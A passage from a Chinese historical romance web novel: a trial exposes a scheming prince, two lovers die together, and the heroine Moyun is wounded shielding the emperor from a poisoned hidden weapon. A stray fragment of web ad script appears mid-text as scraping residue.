芸莲望向茉云恍惚了半刻，然后眼神望向了堂下一直沉默不语且面如死灰的昆老爷。
“昆老爷！”芸莲的声音中带着一丝哀伤与沉重，仿佛这些年压在心头的所有话终于可以吐露出来：“昆少在临走之前还在寻找他娘亲留下的那条项链，就是那条方茉云帮他寻回的项链，您为何看着便泣不成声呢？”
昆老爷瞬间咬紧牙关闭上了双眼，他已经失去了一切，这世间的一切对自己老说已毫无意义。
茉云转身便望向昆老爷冷冷的说：“我幼时听闻，昆家本是妻贤子孝，昆少自小也是南华城中难得的聪慧英才，满门皆是南华的典范，和睦仁爱，可是如今却家破人亡，少爷疯癫而死，昆门无后，昆老爷您可曾想过，为何变成了如今这般模样？”
茉云的话引起堂内一片寂静，所有人都不禁开始回忆起曾经昆家，而如今繁华鼎盛却……
芸莲亦冷冷的控诉道：“这一切的开始，正是从瑞王爷逼死您发妻的那一天起吧！”
昆老爷闻言双手握紧浑身颤抖，她们两人之言就像尖刃反复刺向胸膛，他脸上浮现出无尽的痛苦与悔恨，原本浑浊无望的眼神顷刻间迸射出怨愤，似乎往事苦痛一瞬间再度浮现在脑海中。
“当年，瑞王爷的女儿看中了你，便威逼您将自己的发妻逼入绝境。那时您被迫成为他的女婿，受他操控，从那时起，昆家便在他的掌控之中，昆少的疯癫也是因为他亲眼目睹母亲被逼死！”
瑞王爷怒不可斥的拔剑吼道：“一派胡言，本王现在就杀了你！”
昆老爷顿时再也无法压抑心中的哀痛，握紧了扶椅猛然站起，眼眶中泪光闪烁的吼道：“是你这个老匹夫……害得我家破人亡，妻离子散！你逼死了我妻，毁了我儿，胁迫我做尽了丧尽天良之事！”
瑞王爷的脸色骤然大变，原本还带着几分强硬的他，瞬间显得无比慌乱。只因他这操纵了半辈子的女婿，其实对他这些年桩桩件件的恶心了然于胸，瑞王爷从未想过他眼中的这个怂人敢反抗，可这怂人此刻确实能轻易将瑞王府的伪装撕得粉碎。
“你也疯了！”
“我昆家已绝后，我本是千古罪人死不足惜！可真正的罪魁祸首，是你！”昆老爷从袖中取出一叠厚重信和文书，举起双手神情坚定：“钦差大人，这些都是瑞王爷这些年恶行的罪证！”
昆老爷不顾一切的将文书疾步递交到钦差桌案前，瑞林接过文神色愈发凝重，此刻案情已经全然变化……
“瑞王府的罪行罄竹难书，瑞王爷日日不忿当日交出了兵权，为了巩固自己的权势，他想要谋害大将军，昆家和南华府衙都不过是他手中的棋子，借此摧毁卢家军，削弱卢家的影响力，这老匹夫以为自己就能重掌军权！”昆老爷的话仿佛一把利刃刺向他的阴谋。
165.成全
瑞王爷此时已是满面涨红神情慌乱，张狂与傲慢消失殆尽。
他猛然站起身狠狠拍打着椅旁桌案，声音中带着忿然：“污蔑！这些都是污蔑！他们不过是贱妇与败家子，竟敢污蔑我堂堂王爷！我是圣上的亲叔，岂能容你们如此诽谤！”
他的声音在大堂中回荡，充满了不甘与挣扎，不过就是想以皇族的尊严和身份继续压制众人，可此刻什么也难以掩盖他的神色慌张了。
“本王可是皇族，谁敢碰本王？这是造反！哪怕是钦差大人，也没有资格审我！”他又像钦差大人施压道，话虽铿锵却显得空洞无力，好似垂死挣扎。
就在瑞王爷还想把握自己的最后一线机会时，忽然一个沉稳而威严的声音从旁边传来：“可本王可以。”
这声音如同一记重锤，瞬间打破了堂内的气氛。众人纷纷回头，只见一直端坐在一旁，身穿华丽锦袍的典王爷缓缓起身一脸威严。
瑞王爷的脸色瞬间变得惨白，眼中的惊恐再也无法掩饰
典王爷目光冰冷地扫向钦差桌案的证据，声音沉稳却带着压迫感：“请钦差大人将这份证物封存，将证人扣下，待本王将此案上呈圣上，由圣上定夺，瑞王叔，您放心，皇上圣明定然会派人再行审理，查清此案！皇叔稍安勿躁，清者自清。”
典王爷语气不疾不徐，却带着一种毋庸置疑的皇家威仪。瑞王爷此刻已是大汗淋漓咬紧牙关，眼中尽是慌张。
“是！”钦差大人瑞林马上起身应道。
就在众人都觉大快人心之时，茉云则迅速蹲下，仓皇的去摸忘忧的脉，他身中剧毒已经是大去之向……
“你做了什么？为何要服毒，要死的根本就不是你！”茉云再也隐忍不住朝忘忧吼道。
忘忧则又一口鲜血吐出，望向茉云爱护的笑了，然后他艰难的支撑着抬目望向正啸：“她就……拜托……您照顾了……”
此时芸莲缓缓走到忘忧身旁，双眼盈满泪水却又温婉的笑着，强忍着不让泪水流下。她轻轻扶起忘忧那张苍白的脸，手指颤抖地为他拭去血迹，眼中满是痛惜和深情。
“你那日，为什么没有按照信上约定去河边带我走？”她的声音轻柔的问。
忘忧微微吃力地抬起头，满脸的错愕：“信？什么信……”
芸莲顿时微微一怔，目光不由自主地冷冷瞥向那个站在瑞王爷身旁之人，那是她娘家的二叔，一直以来南华众人皆知的，那个包家最关心她、最疼惜她的长辈。包二爷的眼神微微躲闪嘴唇紧闭，只因一切凉薄都在此刻暴露无遗。
她又瞬间收回了目光，仿佛再也不想看一眼这人世的恶心，当她转头望向忘忧之时又舒心的笑了，声音温柔得好似梦中细语一般：“没关系了，都已不重要，今日我终于可以随你走了……”
就在此时众人才察觉到，她的手已经无力地垂在身侧，而她的衣襟从腰间到腹部，已经被鲜红的血浸透。鲜血顺着衣裙的边缘滴落在地，染红了石板。她的腹部隐约能看到一把锋利的匕首手柄，似乎是她早已将其悄然刺入自己的身体，只等这一刻和忘忧一起离开。
忘忧眼中皆是错愕，可是看向她那温柔坚定而饱含情义双眸，他又恢复了温柔的笑容微微点头，伸手握住了芸莲的手，尽管他们半生身处绝境，此刻的生命在慢慢流逝，但这份情意，终于超越了凡尘俗世的羁绊，这便是他们一生对自己最大的成全。
“可惜当日没听你唱完那曲……”
忘忧亦带有一丝遗憾的望向芸莲，他已说话都艰难！
“我帮他唱完！”茉云站在一旁抑制着心中的巨大的伤痛说，她深吸一口气清了清喉咙。
众人屏息，只见茉云在堂前站定，气定神稳缓缓开口。一人分饰两角，她的声音时而豪迈沉郁，时而凄婉缠绵，唱出了霸王项羽的英雄诀别，也唱出了虞姬的儿女情长。
戏文里的悲壮与无奈……众人看着此刻眼前的场景分不清是真还是戏。
芸莲的身子摇晃了一下，眼神已然开始模糊，但她依旧坚持最后一刻靠到忘忧怀里，在用最后的一丝力气与他一起走向命运的尽头。
“你师妹……唱霸王唱得好！”芸莲靠到忘忧怀里笑着说道。
“对，她从小就是个霸王！”忘忧亦笑了说道，就像两个情深一世老夫妻在轻声呢喃。
“你也唱得极好！等会儿在路上你唱给我听……”
“好！”
在这苍凉的大堂上，他们的呼吸逐渐变得微弱，脸上却流露出一种释然的笑意，好似回到了初见时的美好。
茉云站在一旁，望着这对苦命的鸳鸯相拥而去，爱恨悲欢在这一刻都化作了永恒。他们的面容上没有丝毫悲伤，只有满足和幸福，仿佛终于找到了彼此想要的安宁和相守。
整个大堂都陷入了沉寂，好像众人都被眼前的深情所震撼。
然而，这份静谧熄灭不了茉云心中之怒火，如烈火般燃烧，她的目光顷刻忽然变得锋利而狠戾。
她猛然回过头，狠狠瞪向站在瑞王爷身边的包二爷——定然是他当年为了自己荣华富贵，一手导演了她师兄一生悲剧，让他们被阴谋与谎言分离，最后双双走上了绝路。
茉云忽然一步跨出，伸手就要拔出一旁衙役佩戴的刀，满腔的愤怒瞬间化作杀气。
就在这一刹那，一只有力的手骤然从背后抓住了她的臂膀，稳稳地将她拉住，且抬脚一踢刀柄，就将刀送还刀鞘。她猛然回头，怒火迎面撞上的是正啸那深邃且沉稳的目光。
正啸用力拽着茉云的手臂未松，目光却温和而平静，低声说道：“冷静点。”
茉云眼神中依旧迸射出狠戾，胸腔在剧烈的起伏，怒火无处消散！
“方茉云！”正啸双眉微蹙沉声喊道，他看着茉云的目光中带着一种无言的理解，也透着坚决的冷静，“你冷静点！”
茉云紧握着拳手指关节因紧握而泛白，心中那无处发泄的愤怒，却像洪水般翻涌。她冷冷瞪着包二爷，目光中皆是杀意，但她最终甩开了正啸的手，冷冷转身离去。
正啸松了一口气望向茉云离去的背影，而就这这一瞬间，天上忽然闪现了细细的雪花，在空中盘旋再轻盈地落下，仿佛天地间都在为他们送行，在无声地回应着此刻的凄凉，为这南华的桩桩悲剧再增添一抹苍白的哀意……
夜幕降临之时，众人陪着元帅用膳，虽然案情反转，瑞王爷之事已经交由典王爷上呈圣上，但是大家却依旧心情沉重。
元帅叹息着望向窗外说道：“哎，去找找茉云那丫头啊，这外面冰天雪地的！”
“启禀元帅，找了未找到茉云！”万莫望向元帅直率的说道。
“方茉云说过，这南华城中除了少主，没人有本事逮到他！”执礼一脸正色的故意回禀道。
正啸抬目就瞪向执礼，众人顿时又有点忍俊不禁。
元帅放下酒杯看着正啸那无动于衷的样子说道：“去将我披风取来！”
“是！”千山说着马上要去取。
“快叫人将炭火烧旺点！”若辰马上望向何友说道。
“是！”
元帅没好气的起身说：“不用，我不冷，这儿子不动，老子也吃不下饭了，老夫自己亲自出去找找那丫头！”
正啸顷刻间无可奈何的忿然起身，丢开了筷子推门出去寻人了！
“哼，真是！”元帅坐下继续喝着小酒摇摇头，众人只能伏低头忍着
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笑。
院外大雪纷飞，天地间渐渐只剩下无尽的白，他从玉家别苑走出，穿过静悄的街道，去往他唯一想到的茉云会去地方——琼枝苑。
推开积雪的院门，院内如今一片死寂，雪覆盖在石桌、树枝和屋檐上，冻结了一切，茉云就静静地站在一棵枯树下，白雪如轻纱般覆盖在她的肩头和头发上。
她的身姿依旧挺拔，却透着无尽的孤独与悲伤，茉云低着头目光也低垂的落到地上，自己都很难见到她这双目无神的样子。
正啸轻轻走近，脚下的雪发出微弱的“咔吱”声，才打破了这院内的静谧，他停在她身前并没有说话，只是静静地看着她。
茉云感受到了他的到来，却依旧没有抬头，只是低声说了一句，声音如雪般轻柔而飘忽：“你可不可以不要动！”
正啸站在原地静静地这么看着她，都能感受到她那无声的悲伤缓缓溢出。
就在这时茉云低下头，她的额头轻轻抵着他的侧肩，好似所有的坚忍都在这一刻崩塌，泪水如断了线的珠子，一颗颗无声的打落到冰冷的雪地上，瞬间消失在一片白茫茫中……
正啸保持着不动亦不言，只是静静的站着，直到茉云肩膀哭得都在轻轻颤动，他才微微侧头望向她，可是茉云瞬间就抬手就推开了头，不让他看着自己。
他眼中闪过一丝无语，可也继续默默地站在那里，任由雪花落在他们的肩头，任由她的泪水打湿自己的衣衫。在这一瞬间他也只能静静地分担。
“师兄也走了！”茉云眼神空洞的轻轻说。
正啸深吸一口气，直到他发现茉云在寒风中轻轻颤抖，白神医曾说过茉云好酒皆因她畏寒，此刻风雪如此凛冽，连正啸自己都觉得寒风刺骨，何况是她。
“再待下去，都会冻成冰！跟我回去！”
“我不，我要再待会儿！”茉云眼泪虽然已经止住，可是她依据双眉凝结着伤痛，双手已经冻得通红，她仍然伸出来摸着透心凉的石桌，忘忧昔日就常常坐在石桌旁，“师兄也走了，这世上便没有人无论何时都能容我，待我好了……”
“你意思，我和关若辰他们都不是人？”正啸边说边将自己的披风解下，披在茉云肩上。
当厚重的披风盖在自己身上的那一刻，好似单薄的身躯立刻被包裹了起来，温暖卷席全身，带着他的体温……
正啸不容分说的拉着茉云就往琼枝苑外走，茉云却一直回头看着忘忧常常坐的石凳，直到走出琼枝苑再也看不见了，茉云才深深叹了一口气。
“你师兄也算最后求得了一个圆满。”
“这就是圆满吗？那何为不圆满？”
“他们说我娘被山崖救起之时，只剩最后一口气，她好像一直在等，可我父帅远在千里之外，她还是没有见到最后一面。”正啸抬目望向天空淡淡的说道。
茉云裹着披风望向正啸说：“可你娘嫁给了你爹，还生下了你，她死后你爹都没有再娶，够可以了！连关太傅都再娶了！”
正啸瞬间无语的望向茉云，茉云则自顾自的瘪瘪嘴巴说道：“再者，您何时能容我？人看不惯我至少拿我没法，而您动手修理我！”
“那我也是没法，不然你能上天！”
“我轻功这么好，上天怎么了？我能掉下来？”
“上天就离玩完不远了，在天之灵这个词听说过吗？”
茉云终于被正啸微微逗笑了，他居然也会说笑了。
风雪凛冽天地苍茫，两人在雪夜的月光下前行，脚印深深烙在身后雪地上，茉云抬眼望向正啸那挺拔的身影，又是他来寻了自己回去，狂风卷着雪花瞬间袭来，他的身影忽然微微靠近自己身前，为自己挡住这漫天的飞雪……
166.值否?
雪夜中，玉家别苑的大门隐约可见，四周已是寂静无声，只有风雪轻轻飘摇，然而当正啸的目光在落到门口的车架时，他忽然愣住了。
茉云随着正啸的目光望去，那是一辆看似质朴低调的马车，没有多余的装饰，颜色也内敛沉稳。
可若借着月光定睛细看，车身木料隐约泛着的一层温润的光泽，那是用极为稀有的沉香木所造，坚固耐用还散发出淡淡木香，这是何人的马车，低调中蕴含着无尽的尊贵和威仪。
正啸则瞬间心中一紧，目光里透出了几分警觉，他明白此时此刻，这辆马车的主人出现在此地绝非偶然，
他几乎没有犹豫，立刻握住茉云的手臂转身，语气中带着丝丝急促：“我送你回俞家！”
不等茉云反应，正啸已拉着她迅速转身，疾步离开了玉家别苑。风雪依旧，脚下的雪地也踏出了正啸急促的足迹。
可茉云并没有多问，因为她知道正啸脸上虽冷静如常，可眼神中隐藏不住担忧，既然他未打算言明，自己此刻亦没有心情问。
片刻后，他们来到了俞家门口，正啸深深看了茉云一眼，眼中又流露出那份复杂的情绪，语气低沉地说：”这几日，你不要来玉家别苑，不要出现在我身边。”
茉云愣了一下，虽然不解他缘何如此急切地疏远，可她并没有说什么，但是她不知道是自己的错觉还是……正啸的眼神中充满着担忧与不舍。
“莫再多想，早些歇息。”
“嗯！”
说罢正啸转身飞身而去，脚步果断而急切，只剩雪花在他的背影后飞舞，他很快消失在风雪之中。
茉云心中不免费解，他为何如此急切找自己，却又让她远离他。想起他离去时的眼神，隐约之间，她似乎感受到了一丝什么正在逼近。
可是此时自己亦是心力憔悴，她转身敲门，沉重的木门被俞家下人打开，他们吃惊的说道：“表小姐？”
茉云抬目望去，看见里面依旧灯火通明，透过窗纸隐约能瞧见屋内焦急的身影。她深吸一口气，可想而知，今日府衙中发生的事，定然也是让整个俞家陷入了一片混乱与不安。
她刚踏入院中，便听到屋内传来舅妈的抽泣声，夹杂着断断续续的自责：“不怪你们，都怪娘，是娘没有照顾好诗儿……”
“娘！”
俞家的下人冲进去禀报，说表小姐来了，他们全家立刻起身迎了出来，舅妈虽然表情慌张却也带着几分喜悦，似乎茉云的到来让他们心里都很开心。
穆棱亦走了出来，看见茉云回来，长长松了一口气。
走进厅堂，茉云看了一眼双眼红肿的舅妈，显然已经哭了许久。
茉云的舅舅俞老爷第一个冲到茉云身前，脸上满是欣慰，本来沉重的眉头也终于松开了几分：“茉云，你回来了！好，回来就好！”
“你吃饭了吗，管家，快给表小姐备一桌饭菜！”舅妈也迅速擦干了泪水，原本悲伤的脸上渐渐浮现出一丝笑意，可是看着茉云冻得通红的小脸马上又说到，“外面这么冷，冻成这样，快，烧水，等会儿先泡个热水澡。”
茉云顿时心中倒是生出一丝异样，那个势力而尖酸刻薄的舅妈变了一副模样，倒让自己不习惯了起来。
表哥俞遥看向茉云面容里带着一股稳重的喜悦，而表妹俞诗最为激动，几乎没有任何犹豫冲上来紧紧握住茉云的手，眼中既有泪水也有欣喜：“表姐！”
茉云顷刻间只能回复一丝尬笑，穆棱却伏低头轻轻笑了，茉云这人从不怕别人狠辣恶毒，却着实怕人太过热情，何况舅妈他们这变脸之快，茉云短时更适应不了。
“嗯，其实不用，可否让我先休息会儿！”
众人皆知茉云的师兄今日当场殒命，定是让她痛彻心扉，亦没有强求什么，舅妈马上命人给茉云收拾了一间暖暖的客房。
茉云回到了客房，她不能否认亲人发自内心的关切，还是化成了一股暖流。她伸手解衣才发现披风没有还给正啸，她深吸一口气钻进被子，抬手将正啸的披风盖在了被上，瞬间她就进入了梦想，梦里梦见了师兄，他表情还是那么温和，嘴角泛着笑意。
梦中，忘忧牵着包芸莲的手，好像站在不远处往前走去，可茉云却只能目光追随着他们的身影无法靠近。
“师兄，为何？”她低声喃喃，心中充满了挣扎，“值得吗？”
他们为何甘愿为了这片刻的相守而放弃生命？如果一开始师兄就知道这结果，他还会回来吗？会如此决然地踏上这条不归路吗？
他两转身眼神温柔地汇聚在茉云身上，没有责备更也没有沉重，只有一种久违的平静与释然。忘忧面容中还带着一抹宽慰，仿佛是在告诉茉云无需为他惋惜。芸莲站在他身旁亦望向茉云，神情中似有淡淡的感激，目光中更是透出恬淡的幸福，仿佛心中再无怨恨。
茉云不禁心头微微一震，震撼于这种超脱于生死之外的情感，仿佛这份选择便是他们向往的归宿，而她不必为此感到伤感。
此刻茉云睁开双眼，从梦中醒来，天已大亮，梦中的一切仿佛在提醒着她什么，但她一时之间仍然无法看透那深藏在其中的真意。
茉云推门走出屋外，世间已被白茫一片覆盖，天地仿佛连成了一体，连日压抑的阴云终于消散了些，久违的暖阳透过云层洒落下来，白雪好似被镀上了一层金色的光辉。
深吸了一口顿感清新，茉云心中沉重的情绪渐渐化解，昨日梦中他好似是真的快乐……她静静望向这一片纯净的白皑皑，心里涌上一股宁静与释然。
俞家人都在等着茉云一起用早膳，茉云走进饭堂，桌上摆满了丰盛的早餐，热气腾腾的粥、香软的包子和馒头，还有几碟精致的小菜。
茉云刚坐下舅妈就端上了一碗热粥，脸上挂着笑容：“快趁热喝些吧，这天寒地冻的，喝热粥暖身子。”
俞诗迫不及待地夹了一个包子放入茉云前面碟中，笑嘻嘻地说道：“这是我特意让厨房做的，你最喜欢的肉包子！”
茉云本昨夜都粒米未进，此时已然是饥肠辘辘，她素来也不是客气的人，立刻大快朵颐的了起来。
舅舅俞老爷则满脸欣慰的一边吃着早餐，一边时不时地与茉云聊几句家常，众人都很默契的未提昨日的纷扰，不想触及茉云的伤心事。
茉云却开门见山的说道：“昨日府上深夜未睡，定也是为了白日里俞诗给我作证的事吧？”
舅妈的面色顷刻凝重了些，自然城中是谣言四起。
俞诗目光中却透着一丝倔强，显然并不后悔在公堂上的发言。她紧紧攥着衣袖咬着嘴唇，昔日她厌恶茉云搅了她的婚事，是当真恼恨，可如今她知道没有嫁给昆少是自己大幸，而茉云不计前嫌救了自己性命，她亦愿意付诸一切报答，她便是如此单纯之人。
俞老爷深吸一口气沉声道：“此事我们俞家不会退缩。诗儿既已作证，便是事实，你不要担忧她，舅舅看来，如今局势复杂，你才要万事小心，那可是王爷！”
茉云轻笑了一声，王爷又如何，即便她知道此事远未结束，接下来的局势只会更加凶险，但是恶斗才是自己此生最不畏惧之事。
吃完早膳之时，穆棱拉着茉云小声说：“昨日关大人让人送我离开别苑之时，也让我转告你，最近切莫出现！”
“二哥，别苑里来了什么人？”
“我没有问！但是显然是大人物，所以我等也不便叨扰！”
“姑姑，我觉得可不是一般的大人物！”腾腾若有所思的说道。
“他舅舅？”茉云抬眉想着说道。
腾腾望向茉云不解的问道：“那个典王爷也怕他舅舅吗？他好像也很谨慎小心的样子？”
茉云怔了半刻望向腾腾，卢正啸他舅是刑部尚书，典王爷怎么可能怕刑部尚书，人家是圣上最信任的亲弟，典王爷在这世上只会敬畏一人。茉云瞬间明白他们为何要自己不出现，怕自己没大没小顶撞了圣上？难怪自己还想何人能用得了那么尊贵的马车。
茉云心想目前局势尚不明朗，自己去见见钦差瑞林，看他接下来是何种打算，她走出之时碰见舅妈在廊旁似乎早已在等候她。
见到茉云走近，舅妈带着几许尴尬和歉疚，慢慢抬起眼睛看向她，嘴唇微微颤动好似不知从何开口。片刻后，她终于深吸了一口气，轻声说：“茉云……这几日以来，我常反省自己当日待你多有轻漫，心里总是只记挂自家儿女的前途，做了许多势利之事。诗儿……是我唯一的女儿。你能不计前嫌救了她，我真的很感激。”
茉云微微一笑，眼神豁达而坦荡的回应道：“舅妈，你不必如此！我当年都未在俞家胡闹过，就是因为我知舅妈一生就是为了这一双儿女。世上为人父母者，为了儿女费尽心思都不能算多错吧。只可叹，我自己的母亲已不在我身边了……”
话音未落舅妈的泪水已然悄然落下，哽咽地说不出话来。茉云的话正戳中了舅妈心中最柔软的地方，是的，她这一生盲婚哑嫁，夫妻不同心，俞家又是家道中落之时，自己苦苦支撑什么都不为，就为一双儿女能有个好前程。
茉云没有在多言，只是轻轻伸出手拍拍舅妈的肩膀：“您放心，俞诗不会有事的。”
舅妈泣不成声，却只能点头，泪水模糊了她的视线。她明白茉云自小便是不凡之人，所以自己曾经自私的，不愿她留在俞家抢走她女儿的一丝一线，可她如今已经远远超越了她的想象却能不计前嫌！
“等城中这些纷扰过了，再为俞诗就近寻个好婆家！”
“没用的，你知道这南华城的婚嫁与别处不同，都要公论！”舅妈摇摇头吸了口气说道，“这些年本都是被昆包两家把持，玉家和你舅不屑与他们为伍，那些老夫人亦都听他们的，如今就算昆包两家不再专权，那些老妇人也个个不是省油的灯，人人皆你比你舅妈我更刻薄势力！”
“瞧我，怎将那些老妖兽给忘了！”茉云想着顿时没好气的说道，那些牌坊不就是那些老夫人最向往的宝贝吗？自己定要想办法治他们！'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“没事，到时候我去别地为诗儿觅得一好人家，多配点嫁妆，诗儿本也是个性情耿直的姑娘，大户人家亦不适合她！”舅妈自顾自的自我宽慰道。
茉云无语的看着舅妈，心想能看着您那点嫁妆的，又怎么会是什么好人家，不过今日自己有事在身，日后再议这事吧！
“哎，也是舅妈无能，一双儿女时至今日也没有好的归宿！”舅妈也意识到了茉云好似有要事出门，“你有要事，舅妈也不拉着你闲话家常了！”
“好！”茉云心想着回头再跟舅妈议此事，她疾步走出俞家，心中却总是被什么所困住，这城中气氛凝重也分属正常，可自己总觉得有什么不正常，走着走着便停了下来，抬头望向又渐渐阴霾的天空……
街旁的茶室小二在门口迎客道：“客官，天寒地冻，进来喝口暖茶吗？”
“那些杀手呢？”茉云顿时心中闪过一声霹雳，当日在郊外也是在茶摊铺，自己碰见的那些杀手一直不见踪迹，若他们要杀卢正啸，就在火药爆炸昆家失火之时，不就是最好时机？当日他不顾一切入府救人，丝毫无暇自顾，他们不就该出手吗？
而且那些火药哪儿来的？如今南铸城已经由朝廷亲派的官员来执掌，据说是关大人的学生，那必然是若辰能信之人，他不可能一到任便出卖了他们，将几大箱子的火药送来干这票生意，难道是关外的……？
“不好！”茉云顿时心提到了嗓子眼，转身不顾一切的飞身而去……
其实圣上微服出行是早已悄然抵达南境了，原本不欲现身，可是看见正啸身陷南华，便来了南华。
昨日夜里，正啸回了别苑见到圣上，便坚持劝谏圣上，他此刻微服出访实在不宜亮明身份，如今南华正值动荡不安，圣上此时在南华恐有危险，元帅等人亦请圣上立刻回京，留典王爷处置此事。”
正啸跪在地上苦苦相劝，他心中知道瑞王爷此刻早已走投无路，城中又暗流涌动，火药来历不明，随时可能有不测之事发生。圣上最终点头，圣驾准备第二日清晨悄然离开南华，正啸下令命沧海带队护驾回京。
然而，圣上的动向已然传至瑞王府，圣上来了南华却没有召见他，他意识到情势危急再无退路可言，在旁人的怂恿下，他决定狗急跳墙豪赌一把。
这会儿，清晨刚显的暖阳，不等半刻，又被厚厚的云层遮挡，只在天际透出几缕微弱的光芒，天空恢复了阴沉的灰白。
圣上车架备好，准备离开南华，此刻瑞王爷居然赶到了，一副慌乱不安的模样跪在圣上车架之前痛哭流涕，负荆请罪。
他跪伏在地声泪俱下地说道：“臣有罪，臣愿负荆请罪！只求圣上念在当年的情谊……”
周围的侍卫见状都望向车架旁的关太傅，太傅深吸一口气此事也只能等圣上定夺，圣上虽未下车，但透过帘幕隐隐望向他这位皇叔，幼时他也曾教圣上骑射，救圣上于危难过。
正啸则站在车旁眉头紧锁，锐利的目光盯住瑞王爷的每一个举动。他军中听过瑞王爷的故事，此人用兵极为诡诈，他心中总是隐约感受到危险的逼近。
皇上最终走出了马车，叹息的望向这位已经苍老的皇叔，本欲让他先起身。
可就这一刹那，突如其来的杀机四起，峑戎的杀手从天而降，犹如黑色的影子般掠过长空，直扑圣上的车架而来。那一刻，天地仿佛陷入了一片暗黑。
瑞王爷见状立刻大喊一声：“护驾！”，声嘶力竭的似乎是要拼尽性命保护圣上，他瞬间翻身而起，飞速冲到马车前，敏捷得如同猎豹般贴近马车伸手挡着。
正啸亦瞬间猛然跃起，毫不犹豫地飞身冲上马车，一手欲将圣上推进马车，一手顺势拔出侍卫之刀，以身躯挡在车帘前，沧海等将军马上飞身上前与杀手搏斗！
就这一瞬，瑞王爷眼中闪过一抹决绝的疯狂。他从宽大的袖中抽出暗器，眼神中满是阴鸷和狰狞。
乘着众人皆只关注杀手之时，瑞王爷却杀意凛然的紧紧盯着圣上，目光只剩下癫狂。他要用这一击终结他不甘了一生的权力游戏。
他手中的暗器——九翎蚀骨钉如黑色毒蛇般闪动，他已抬头直视马车中的圣上，就在此时空中传来一声凌厉的破风声，一道身影从天而降。
“贼在你眼前！”茉云宛如一团烈焰般从高处飞扑而下，她不顾一切地，一脚猛然踹开了挡在车帘前的正啸，瞬间立在了马车车帘前，毫不犹豫拔剑砍向瑞王爷。
正啸被这一脚踹得失去平衡坠下，可这一瞬间他看清了瑞王爷手中暗器，顿时眼神骤然一紧——那赫然是让人闻风丧胆的暗器，九翎蚀骨钉！
“砰！”瑞王爷顷刻间按下了暗器，暗器带着寒光刺破一切而来。
茉云却在这一刻领会了梦中师兄的真意，原来这本不是一场思前想后的抉择和掂量，就是一霎那的归属，自己曾以为自己穷其一生的追求，是山有顶峰，湖有彼岸，人要昂起头活着，而这一刻全然失控，管你的山河大海，烟火人间——他必须给我活着！
167.惶恐
风雪又开始席卷南华，茉云那挺拔的身影在漫天飞雪中立于车前，像是一道不可动摇的屏障，代替着正啸护卫着她身后的圣上。
就在正啸摔下马车的瞬间，他情急之下不顾一切的扔出了手中之刀，刀呼啸着朝那枚九翎蚀骨钉疾飞而去。
眼见暗器飞速而至，早已来不及闪避，茉云站在车前纹丝未动，暗器威力巨大，刀刃与暗器在空中碰撞，发出清脆的一声“哐嘡”——刀应声而断，暗器的威力好似丝毫不减，笔直地射入了茉云胸前！
那一刻，鲜血如同红梅般绽放在空中，瞬染雪花。茉云身躯剧烈一颤，但她任凭鲜血从胸口喷出，依旧没有后退半步，仍猛然飞剑而起，手中的长剑划出一道寒光，狠狠斩断了瑞王爷的暗器。
瑞王爷跌落在地，顿时癫狂的怒吼道：“凭什么你可以做皇上！父皇不公，我为何不能做皇上！”
茉云伤重已无法支撑，仍然用剑苦苦支撑着自己，半跪车帘前声如雷霆的吼道：“因你命里不配！”
她的话响彻全场，好似将瑞王爷的所有疯狂与阴谋都击个粉碎。
看向茉云鲜血不断涌出，正啸只觉得心中袭来一阵剧痛，但他用唯一一丝的清醒猛然翻身而起，拔出侍卫之刀直逼瑞王爷。瑞王爷本已被茉云的气势所震慑，早已溃而无力，根本抵抗不住正啸迅猛攻势。
与此同时，四周的众将士亦齐齐涌上，将关外的杀手一一制服，战场瞬间平息。
正啸一把丢开刀迅速转身，茉云此时已摇摇欲坠无法支撑，鲜血从她的胸口不停地涌出，染红了马车前的一片雪地。
“茉云！”正啸毫不犹豫的一把抱住跌下马车的茉云，再也无法掩饰眼中的惊慌失措……
茉云则双眼盯着正啸，用尽力气拉住了正啸的手臂坚定的说：“卢正啸，活着才能……保南境太平，知道吗……”
说完这句话，她便渐渐失去了意识手也无力地垂下，正啸抱着她，脸色如此恐慌，眼中都是痛楚的吼道：“方茉云！”
“御医！”圣上掀开马车的帘幕喊道，可他瞬间也怔了半刻，只因他看见了正啸脸上露出从未有过的表情。
正啸少时便随圣上狩猎，山林间危机四伏，豺狼虎豹当前，正啸自幼便好似不懂胆怯；后来他随着元帅征战沙场，面对刀枪剑戟、敌军如潮，他亦从不曾露出一丝惧色，总是冷静如铁，坚如磐石。
但此刻他双手紧紧抱着茉云，低头望着怀中那逐渐失去生气的面容，脸上出现了旁人在他脸上从未见过的恐慌，是一种深沉的恐惧和无措。
“正啸！”圣上望向他温和说：“诸将士在，朕不会有恙，将人速带入别苑，让朕的御医为她先查看伤势。”
“是！”正啸听见圣上的话，心中一震晃过神来，他毫不迟疑地抱着茉云快步冲向别苑。
圣上深吸一口气望向正啸的背景，这世上居然有一人能让他如此惶恐，这种无法承受失去的滋味，自己也曾经尝过……
雪地松软，脚步声沉重，正啸感觉每一步都好似无尽的煎熬，他的双手紧紧抱着茉云，生怕她在怀中再多流一滴血。
正啸一脚踢开房门，小心翼翼地将茉云放在自己榻上，御医马上赶来为她探脉，随即拿出了银针，几针下去茉云的伤口就没有再往外涌血……
御医继续为茉云探脉，指尖在她的手腕上轻轻一按，片刻后，脸上终于缓缓露出一丝释然的神情，他抬起头安抚道：“大将军，请稍安勿躁。所幸您情急之下扔出的刀，虽未完全挡住暗器，但阻挡了暗器之力，现在暗器应该只嵌入皮肉，未伤及内脏经脉。她受伤虽重，但尚可救治。”
听到这番话，正啸紧绷的神情终于稍稍缓和，但心中的焦急并未消散：“可她留了这么多血，能撑得住吗？”
御医点了点头说道：“大将军请放心，但是需要请来一个女伤科大夫，速速将暗器取出，只是……”
“只是什么？”
御史探着脉双眉紧蹙的说“要快，看此时的脉像，这镖上许有毒，要取出此镖再行解毒！”
“少主放心，若辰已经亲自去城门接白神医了，恰逢城中烧伤者众多，茉云前几日还说让若辰请了白神医夫妇来南华游历，现在白夫人应该已经到城门口了！”执礼在正啸身边说道。
正啸才点了下头，目光紧紧看向茉云那苍白的脸庞，手不由自主地握紧拳头，他心中却如潮水般翻涌，为何是她挡下这一镖，此刻自己却什么都做不了。
不到一炷香的时间，就听见了白夫人疾步跑入房间的脚步声，御医看见白夫人和白神医顿时愣了半刻，起身行礼说道：“见过两位师叔！”
“让开，我看看！”白夫人谁也没有搭理，径直走来，放下床帘解开了茉云衣服，“九翎蚀骨钉！”
白神医走进来亦听见了白夫人的声音：“怎么可能？”
“白叔，是九翎蚀骨钉！”正啸深吸一口气说道。
“什么蚀骨钉！”跟进来的若辰气息还未喘匀便问道。
